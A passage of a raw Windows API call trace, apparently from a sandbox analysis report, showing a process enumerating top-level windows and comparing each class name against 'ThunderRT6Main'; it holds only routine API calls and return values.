lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0183.488] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0183.488] GetWindowThreadProcessId (in: hWnd=0x101f8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.488] GetWindowLongA (hWnd=0x101f8, nIndex=-16) returned -2080374784 [0183.488] GetWindowLongPtrA (hWnd=0x101f8, nIndex=-6) returned 0x7fefee70000 [0183.488] GetWindowLongPtrA (hWnd=0x101f8, nIndex=-6) returned 0x7fefee70000 [0183.488] GetWindow (hWnd=0x101f8, uCmd=0x2) returned 0x101ec [0183.488] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0183.488] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0183.488] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.488] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2080374784 [0183.488] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feeeaa0000 [0183.488] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x7feeeaa0000 [0183.488] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x401b4 [0183.488] GetClassNameA (in: hWnd=0x401b4, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0183.488] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0183.488] GetWindowThreadProcessId (in: hWnd=0x401b4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x95c [0183.488] GetWindow (hWnd=0x401b4, uCmd=0x2) returned 0x201c4 [0183.488] GetClassNameA (in: hWnd=0x201c4, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="_WwO") returned 4 [0183.488] lstrcmpA (lpString1="_WwO", lpString2="ThunderRT6Main") returned -1 [0183.488] GetWindowThreadProcessId (in: hWnd=0x201c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.488] GetWindowLongA (hWnd=0x201c4, nIndex=-16) returned -2080374784 [0183.489] GetWindowLongPtrA (hWnd=0x201c4, nIndex=-6) returned 0x7fef05d0000 [0183.489] GetWindowLongPtrA (hWnd=0x201c4, nIndex=-6) returned 0x7fef05d0000 [0183.489] GetWindow (hWnd=0x201c4, uCmd=0x2) returned 0x201b0 [0183.489] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="ARC Window Class O16") returned 20 [0183.489] lstrcmpA (lpString1="ARC Window Class O16", lpString2="ThunderRT6Main") returned -1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x924 [0183.489] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0183.489] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13fc00000 [0183.489] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13fc00000 [0183.489] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a2 [0183.489] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.489] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0183.489] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0183.489] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="regards_dx_specializing_cls") returned 27 [0183.489] lstrcmpA (lpString1="regards_dx_specializing_cls", lpString2="ThunderRT6Main") returned -1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x848 [0183.489] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0183.489] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.489] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0183.489] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0183.489] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="willing_Morocco_") returned 16 [0183.489] lstrcmpA (lpString1="willing_Morocco_", lpString2="ThunderRT6Main") returned 1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x838 [0183.489] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x10198 [0183.489] GetClassNameA (in: hWnd=0x10198, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Nor_window") returned 10 [0183.489] lstrcmpA (lpString1="Nor_window", lpString2="ThunderRT6Main") returned -1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0183.489] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x1019a [0183.489] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.489] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.489] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x828 [0183.490] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10194 [0183.490] GetClassNameA (in: hWnd=0x10194, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="dominantoutwindow") returned 17 [0183.490] lstrcmpA (lpString1="dominantoutwindow", lpString2="ThunderRT6Main") returned -1 [0183.490] GetWindowThreadProcessId (in: hWnd=0x10194, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0183.490] GetWindow (hWnd=0x10194, uCmd=0x2) returned 0x10196 [0183.490] GetClassNameA (in: hWnd=0x10196, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.490] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x818 [0183.490] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10190 [0183.490] GetClassNameA (in: hWnd=0x10190, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Rice_win") returned 8 [0183.490] lstrcmpA (lpString1="Rice_win", lpString2="ThunderRT6Main") returned -1 [0183.490] GetWindowThreadProcessId (in: hWnd=0x10190, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x808 [0183.490] GetWindow (hWnd=0x10190, uCmd=0x2) returned 0x10192 [0183.490] GetClassNameA (in: hWnd=0x10192, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.490] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x808 [0183.491] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x1018c [0183.491] GetClassNameA (in: hWnd=0x1018c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="LinkFormationentrepreneurapp") returned 28 [0183.491] lstrcmpA (lpString1="LinkFormationentrepreneurapp", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x1018c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5cc [0183.491] GetWindow (hWnd=0x1018c, uCmd=0x2) returned 0x1018e [0183.491] GetClassNameA (in: hWnd=0x1018e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x1018e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5cc [0183.491] GetWindow (hWnd=0x1018e, uCmd=0x2) returned 0x10188 [0183.491] GetClassNameA (in: hWnd=0x10188, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tracySearchingapp") returned 17 [0183.491] lstrcmpA (lpString1="tracySearchingapp", lpString2="ThunderRT6Main") returned 1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x10188, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6c4 [0183.491] GetWindow (hWnd=0x10188, uCmd=0x2) returned 0x1018a [0183.491] GetClassNameA (in: hWnd=0x1018a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x1018a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6c4 [0183.491] GetWindow (hWnd=0x1018a, uCmd=0x2) returned 0x10184 [0183.491] GetClassNameA (in: hWnd=0x10184, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Fd_Shoes_class") returned 14 [0183.491] lstrcmpA (lpString1="Fd_Shoes_class", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x10184, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0183.491] GetWindow (hWnd=0x10184, uCmd=0x2) returned 0x10186 [0183.491] GetClassNameA (in: hWnd=0x10186, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x10186, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x40c [0183.491] GetWindow (hWnd=0x10186, uCmd=0x2) returned 0x10180 [0183.491] GetClassNameA (in: hWnd=0x10180, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="FinishedpizzaSuperbclass") returned 24 [0183.491] lstrcmpA (lpString1="FinishedpizzaSuperbclass", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x10180, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0183.491] GetWindow (hWnd=0x10180, uCmd=0x2) returned 0x10182 [0183.491] GetClassNameA (in: hWnd=0x10182, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.491] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.491] GetWindowThreadProcessId (in: hWnd=0x10182, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x518 [0183.491] GetWindow (hWnd=0x10182, uCmd=0x2) returned 0x1017c [0183.491] GetClassNameA (in: hWnd=0x1017c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Domain_wnd") returned 10 [0183.491] lstrcmpA (lpString1="Domain_wnd", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x1017c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x718 [0183.492] GetWindow (hWnd=0x1017c, uCmd=0x2) returned 0x1017e [0183.492] GetClassNameA (in: hWnd=0x1017e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x1017e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x718 [0183.492] GetWindow (hWnd=0x1017e, uCmd=0x2) returned 0x10178 [0183.492] GetClassNameA (in: hWnd=0x10178, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="VectorFollowsvalvescls") returned 22 [0183.492] lstrcmpA (lpString1="VectorFollowsvalvescls", lpString2="ThunderRT6Main") returned 1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x10178, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d8 [0183.492] GetWindow (hWnd=0x10178, uCmd=0x2) returned 0x1017a [0183.492] GetClassNameA (in: hWnd=0x1017a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x1017a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5d8 [0183.492] GetWindow (hWnd=0x1017a, uCmd=0x2) returned 0x10174 [0183.492] GetClassNameA (in: hWnd=0x10174, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="targets_despite_wnd") returned 19 [0183.492] lstrcmpA (lpString1="targets_despite_wnd", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x10174, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x23c [0183.492] GetWindow (hWnd=0x10174, uCmd=0x2) returned 0x10176 [0183.492] GetClassNameA (in: hWnd=0x10176, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x10176, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x23c [0183.492] GetWindow (hWnd=0x10176, uCmd=0x2) returned 0x10170 [0183.492] GetClassNameA (in: hWnd=0x10170, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Businessesarchitecturewin") returned 25 [0183.492] lstrcmpA (lpString1="Businessesarchitecturewin", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x10170, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0183.492] GetWindow (hWnd=0x10170, uCmd=0x2) returned 0x10172 [0183.492] GetClassNameA (in: hWnd=0x10172, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x10172, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4b4 [0183.492] GetWindow (hWnd=0x10172, uCmd=0x2) returned 0x1016c [0183.492] GetClassNameA (in: hWnd=0x1016c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="RecruitmentCap") returned 14 [0183.492] lstrcmpA (lpString1="RecruitmentCap", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x1016c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0183.492] GetWindow (hWnd=0x1016c, uCmd=0x2) returned 0x1016e [0183.492] GetClassNameA (in: hWnd=0x1016e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.492] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.492] GetWindowThreadProcessId (in: hWnd=0x1016e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x57c [0183.493] GetWindow (hWnd=0x1016e, uCmd=0x2) returned 0x10168 [0183.493] GetClassNameA (in: hWnd=0x10168, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="scoring_window") returned 14 [0183.493] lstrcmpA (lpString1="scoring_window", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x10168, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90 [0183.493] GetWindow (hWnd=0x10168, uCmd=0x2) returned 0x1016a [0183.493] GetClassNameA (in: hWnd=0x1016a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x1016a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x90 [0183.493] GetWindow (hWnd=0x1016a, uCmd=0x2) returned 0x10164 [0183.493] GetClassNameA (in: hWnd=0x10164, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Islam_Commands_cls") returned 18 [0183.493] lstrcmpA (lpString1="Islam_Commands_cls", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x10164, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x398 [0183.493] GetWindow (hWnd=0x10164, uCmd=0x2) returned 0x10166 [0183.493] GetClassNameA (in: hWnd=0x10166, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x10166, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x398 [0183.493] GetWindow (hWnd=0x10166, uCmd=0x2) returned 0x2015a [0183.493] GetClassNameA (in: hWnd=0x2015a, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Died_win") returned 8 [0183.493] lstrcmpA (lpString1="Died_win", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x2015a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f0 [0183.493] GetWindow (hWnd=0x2015a, uCmd=0x2) returned 0x50160 [0183.493] GetClassNameA (in: hWnd=0x50160, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x50160, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x3f0 [0183.493] GetWindow (hWnd=0x50160, uCmd=0x2) returned 0x30110 [0183.493] GetClassNameA (in: hWnd=0x30110, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="brokerWorkoutclass") returned 18 [0183.493] lstrcmpA (lpString1="brokerWorkoutclass", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x30110, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b0 [0183.493] GetWindow (hWnd=0x30110, uCmd=0x2) returned 0x40158 [0183.493] GetClassNameA (in: hWnd=0x40158, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.493] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x40158, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x7b0 [0183.493] GetWindow (hWnd=0x40158, uCmd=0x2) returned 0x2015e [0183.493] GetClassNameA (in: hWnd=0x2015e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="optional_licensing_undefined_win") returned 32 [0183.493] lstrcmpA (lpString1="optional_licensing_undefined_win", lpString2="ThunderRT6Main") returned -1 [0183.493] GetWindowThreadProcessId (in: hWnd=0x2015e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x70c [0183.494] GetWindow (hWnd=0x2015e, uCmd=0x2) returned 0x2015c [0183.494] GetClassNameA (in: hWnd=0x2015c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x2015c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x70c [0183.494] GetWindow (hWnd=0x2015c, uCmd=0x2) returned 0x600a4 [0183.494] GetClassNameA (in: hWnd=0x600a4, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Pf_Printed_awesome_class") returned 24 [0183.494] lstrcmpA (lpString1="Pf_Printed_awesome_class", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x600a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x474 [0183.494] GetWindow (hWnd=0x600a4, uCmd=0x2) returned 0x3001c [0183.494] GetClassNameA (in: hWnd=0x3001c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x3001c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x474 [0183.494] GetWindow (hWnd=0x3001c, uCmd=0x2) returned 0x9009e [0183.494] GetClassNameA (in: hWnd=0x9009e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="advances_Doors_Involve_win") returned 26 [0183.494] lstrcmpA (lpString1="advances_Doors_Involve_win", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x9009e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0183.494] GetWindow (hWnd=0x9009e, uCmd=0x2) returned 0x3010c [0183.494] GetClassNameA (in: hWnd=0x3010c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.494] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x3010c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6bc [0183.494] GetWindow (hWnd=0x3010c, uCmd=0x2) returned 0x20162 [0183.494] GetClassNameA (in: hWnd=0x20162, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}") returned 52 [0183.494] lstrcmpA (lpString1="FaxMonWinClass{3FD224BA-8556-47fb-B260-3E451BAE2793}", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x20162, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0183.494] GetWindow (hWnd=0x20162, uCmd=0x2) returned 0x1014e [0183.494] GetClassNameA (in: hWnd=0x1014e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="BluetoothNotificationAreaIconWindowClass") returned 40 [0183.494] lstrcmpA (lpString1="BluetoothNotificationAreaIconWindowClass", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x1014e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0183.494] GetWindow (hWnd=0x1014e, uCmd=0x2) returned 0x1014c [0183.494] GetClassNameA (in: hWnd=0x1014c, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="MS_WebcheckMonitor") returned 18 [0183.494] lstrcmpA (lpString1="MS_WebcheckMonitor", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x1014c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec [0183.494] GetWindow (hWnd=0x1014c, uCmd=0x2) returned 0x20142 [0183.494] GetClassNameA (in: hWnd=0x20142, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="PNIHiddenWnd") returned 12 [0183.494] lstrcmpA (lpString1="PNIHiddenWnd", lpString2="ThunderRT6Main") returned -1 [0183.494] GetWindowThreadProcessId (in: hWnd=0x20142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0183.495] GetWindow (hWnd=0x20142, uCmd=0x2) returned 0x10136 [0183.495] GetClassNameA (in: hWnd=0x10136, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="Media Center SSO") returned 16 [0183.495] lstrcmpA (lpString1="Media Center SSO", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x10136, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec [0183.495] GetWindow (hWnd=0x10136, uCmd=0x2) returned 0x10138 [0183.495] GetClassNameA (in: hWnd=0x10138, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x10138, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5ec [0183.495] GetWindow (hWnd=0x10138, uCmd=0x2) returned 0x1012e [0183.495] GetClassNameA (in: hWnd=0x1012e, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="ATL:000007FEFBAB41F0") returned 20 [0183.495] lstrcmpA (lpString1="ATL:000007FEFBAB41F0", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x1012e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0183.495] GetWindow (hWnd=0x1012e, uCmd=0x2) returned 0x10130 [0183.495] GetClassNameA (in: hWnd=0x10130, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x10130, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5fc [0183.495] GetWindow (hWnd=0x10130, uCmd=0x2) returned 0x10124 [0183.495] GetClassNameA (in: hWnd=0x10124, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="SystemTray_Main") returned 15 [0183.495] lstrcmpA (lpString1="SystemTray_Main", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x10124, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0183.495] GetWindow (hWnd=0x10124, uCmd=0x2) returned 0x10126 [0183.495] GetClassNameA (in: hWnd=0x10126, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0183.495] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x10126, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0183.495] GetWindow (hWnd=0x10126, uCmd=0x2) returned 0x10122 [0183.495] GetClassNameA (in: hWnd=0x10122, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0183.495] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x10122, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x5c0 [0183.495] GetWindow (hWnd=0x10122, uCmd=0x2) returned 0x200e4 [0183.495] GetClassNameA (in: hWnd=0x200e4, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.495] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x200e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.495] GetWindow (hWnd=0x200e4, uCmd=0x2) returned 0x300bc [0183.495] GetClassNameA (in: hWnd=0x300bc, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="AUTHUI.DLL: Shutdown Choices Message Window") returned 43 [0183.495] lstrcmpA (lpString1="AUTHUI.DLL: Shutdown Choices Message Window", lpString2="ThunderRT6Main") returned -1 [0183.495] GetWindowThreadProcessId (in: hWnd=0x300bc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.496] GetWindow (hWnd=0x300bc, uCmd=0x2) returned 0x300aa [0183.496] GetClassNameA (in: hWnd=0x300aa, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="_SearchEditBoxFakeWindow") returned 24 [0183.496] lstrcmpA (lpString1="_SearchEditBoxFakeWindow", lpString2="ThunderRT6Main") returned -1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x300aa, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.496] GetWindow (hWnd=0x300aa, uCmd=0x2) returned 0x200b8 [0183.496] GetClassNameA (in: hWnd=0x200b8, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x200b8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.496] GetWindow (hWnd=0x200b8, uCmd=0x2) returned 0x200c0 [0183.496] GetClassNameA (in: hWnd=0x200c0, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x200c0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.496] GetWindow (hWnd=0x200c0, uCmd=0x2) returned 0x300c4 [0183.496] GetClassNameA (in: hWnd=0x300c4, lpClassName=0x269bb0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0183.496] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0183.496] GetWindowThreadProcessId (in: hWnd=0x300c4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x4a4 [0183.496] GetWindow (hWnd=0x300c4, 